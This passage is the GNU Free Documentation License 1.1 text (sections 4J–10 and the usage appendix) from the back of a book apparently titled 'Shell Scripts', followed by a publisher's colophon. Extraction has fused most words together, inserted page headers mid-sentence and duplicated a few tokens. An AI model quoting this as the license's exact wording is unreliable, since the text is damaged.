oftheDocumentasgivenonitsTitlePage,thenaddanitemdescribingtheModifiedVersionas
statedintheprevioussentence.
J.Preservethenetworklocation,ifany,givenintheDocumentforpublicaccesstoaTransparent
copyoftheDocument,andlikewisethenetworklocationsgivenintheDocumentforprevious
versionsitwasbasedon.Thesemaybeplacedinthe"History"section.Youmayomitanetwork
locationforaworkthatwaspublishedatleastfouryearsbeforetheDocumentitself,orifthe
originalpublisheroftheversionitreferstogivespermission.
K.Inanysectionentitled"Acknowledgements"or"Dedications",preservethesection'stitle,and
preserveinthesectionallthesubstanceandtoneofeachofthecontributoracknowledgements
and/ordedicationsgiventherein.
L.PreservealltheInvariantSectionsoftheDocument,unalteredintheirtextandintheirtitles.
Sectionnumbersortheequivalentarenotconsideredpartofthesectiontitles.
M.Deleteanysectionentitled"Endorsements".SuchasectionmaynotbeincludedintheModified
Version.
N.N.Donotretitleanyexistingsectionas"Endorsements"ortoconflictintitlewithanyInvariant
Section.
O.If the Modified Version includes new frontmatter sections or appendices that qualify as
SecondarySectionsandcontainnomaterialcopiedfromtheDocument,youmayatyouroption
designatesomeorallofthesesectionsasinvariant.Todothis,addtheirtitlestothelistofInvariant
Sections in theModifiedVersion's license notice. These titles must be distinct from any other
AdbeelGoesFilho
ShellScripts149
sectiontitles.
Youmayaddasectionentitled"Endorsements",provideditcontainsnothingbutendorsementsof
yourModifiedVersionbyvariouspartiesforexample,statementsofpeerrevieworthatthetexthas
beenapprovedbyanorganizationastheauthoritativedefinitionofastandard.
YoumayaddapassageofuptofivewordsasaFrontCoverText,andapassageofupto25words
asaBackCoverText,totheendofthelistofCoverTextsintheModifiedVersion.Onlyone
passageofFrontCoverTextandoneofBackCoverTextmaybeaddedby(orthrougharrangements
made by) any one entity. If the Document already includes a cover text for the same cover,
previouslyaddedbyyouorbyarrangementmadebythesameentityyouareactingonbehalfof,you
maynotaddanother;butyoumayreplacetheoldone,onexplicitpermissionfromtheprevious
publisherthataddedtheoldone.
Theauthor(s)andpublisher(s)oftheDocumentdonotbythisLicensegivepermissiontousetheir
namesforpublicityforortoassertorimplyendorsementofanyModifiedVersion.
5.COMBININGDOCUMENTS
YoumaycombinetheDocumentwithotherdocumentsreleasedunderthisLicense,undertheterms
definedinsection4aboveformodifiedversions,providedthatyouincludeinthecombinationallof
theInvariantSectionsofalloftheoriginaldocuments,unmodified,andlistthemallasInvariant
Sectionsofyourcombinedworkinitslicensenotice.
ThecombinedworkneedonlycontainonecopyofthisLicense,andmultipleidenticalInvariant
Sectionsmaybereplacedwithasinglecopy.IftherearemultipleInvariantSectionswiththesame
namebutdifferentcontents,makethetitleofeachsuchsectionuniquebyaddingattheendofit,in
parentheses,thenameoftheoriginalauthororpublisherofthatsectionifknown,orelseaunique
number.MakethesameadjustmenttothesectiontitlesinthelistofInvariantSectionsinthelicense
noticeofthecombinedwork.
In the combination, you must combine any sections entitled "History" in the various original
documents, forming one section entitled "History"; likewise combine any sections entitled
"Acknowledgements",andanysectionsentitled"Dedications".Youmustdeleteallsectionsentitled
"Endorsements."
6.COLLECTIONSOFDOCUMENTS
YoumaymakeacollectionconsistingoftheDocumentandotherdocumentsreleasedunderthis
License,andreplacetheindividualcopiesofthisLicenseinthevariousdocumentswithasingle
copy that is included in the collection, provided that you follow the rules of this License for
verbatimcopyingofeachofthedocumentsinallotherrespects.
Youmayextractasingledocumentfromsuchacollection,anddistributeitindividuallyunderthis
License,providedyouinsertacopyofthisLicenseintotheextracteddocument,andfollowthis
Licenseinallotherrespectsregardingverbatimcopyingofthatdocument.
7.AGGREGATIONWITHINDEPENDENTWORKS
AcompilationoftheDocumentoritsderivativeswithotherseparateandindependentdocumentsor
works,inoronavolumeofastorageordistributionmedium,doesnotasawholecountasa
Modified Version of the Document, provided no compilation copyright is claimed for the
compilation.Suchacompilationiscalledan"aggregate",andthisthisLicensedoesnotapplytothe
other selfcontained works thus compiled with the Document, on account of their being thus
compiled, if they are not themselves derivative works of the Document. If the Cover Text
requirementofsection3isapplicabletothesecopiesoftheDocument,theniftheDocumentisless
thanonequarteroftheentireaggregate,theDocument'sCoverTextsmaybeplacedoncoversthat
surroundonlytheDocumentwithintheaggregate.Otherwisetheymustappearoncoversaroundthe
AdbeelGoesFilho
ShellScripts150
wholeaggregate.
8.TRANSLATION
Translationisconsideredakindofmodification,soyoumaydistributetranslationsoftheDocument
under the terms of section 4. Replacing Invariant Sections with translations requires especial
permissionfromtheircopyrightholders,butyoumayincludetranslationsofsomeorallInvariant
Sections in addition to the original versions of these Invariant Sections. You may include a
translation of this License provided that you also include the original English version of this
License.IncaseofadisagreementbetweenthetranslationandtheoriginalEnglishversionofthis
License,theoriginalEnglishversionwillprevail.
9.TERMINATION
Youmaynotcopy,modify,sublicense,ordistributetheDocumentexceptasexpresslyprovidedfor
underthisLicense.Anyotherattempttocopy,modify,sublicenseordistributetheDocumentis
void,andwillautomaticallyterminateyourrightsunderthisLicense.However,partieswhohave
receivedcopies,orrights,fromyouunderthisLicensewillnothavetheirlicensesterminatedso
longassuchpartiesremaininfullcompliance.
10.FUTUREREVISIONSOFTHISLICENSE
TheFreeSoftwareFoundationmaypublishnew,revisedversionsoftheGNUFreeDocumentation
Licensefromtimetotime.Suchnewversionswillbesimilarinspirittothepresentversion,but
maydifferindetailtoaddressnewproblemsorconcerns.Seehttp://www.gnu.org/copyleft/.each
versionoftheLicenseisgivenadistinguishingversionnumber.IftheDocumentspecifiesthata
particularnumberedversionofthisLicense"oranylaterversion"appliestoit,youhavetheoption
offollowingthetermsandconditionseitherofthatspecifiedversionorofanylaterversionthathas
beenpublished(notasadraft)bytheFreeSoftwareFoundation.IftheDocumentdoesnotspecifya
versionnumberofthisLicense,youmaychooseanyversioneverpublished(notasadraft)bythe
FreeSoftwareFoundation.
HowtousethisLicenseforyourdocuments.
TousethisLicenseinadocumentyouhavewritten,includeacopyoftheLicenseinthedocument
andputthefollowingcopyrightandlicensenoticesjustafterthetitlepage:
Copyright(c)YEARYOURNAME.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNU
Free Documentation License, Version 1.1 or any later version published by the Free Software
Foundation;withtheInvariantSectionsbeingLISTTHEIRTITLES,withtheFrontCoverTexts
beingLIST,andwiththeBackCoverTextsbeingLIST.
Acopyofthelicenseisincludedinthesectionentitled"GNUFreeDocumentationLicense".Ifyou
havenoInvariantSections,write"withnoInvariantSections"insteadofsayingwhichonesare
invariant.IfyouhavenoFrontCoverTexts,write"noFrontCoverTexts"insteadof"FrontCover
TextsbeingLIST";likewiseforBackCoverTexts.
Ifyourdocumentcontainsnontrivialexamplesofprogramcode,werecommendreleasingthese
examplesinparallelunderyourchoiceoffreesoftwarelicense,suchastheGNUGeneralPublic
License,topermittheiruseinfreesoftware.
AdbeelGoesFilho
ShellScripts151
EstetrabalhofoicompostoeeditadoeletronicamentenoNcleode
Informticada
VIRTVSEngenhariaeInformticaLtda
RuaCel.RibeirodaSilva,391.MonteCastelo.FortalezaCear.
Telefone:0xx8532833124.
http://www.virtvs.com.br
AdbeelGoesFilho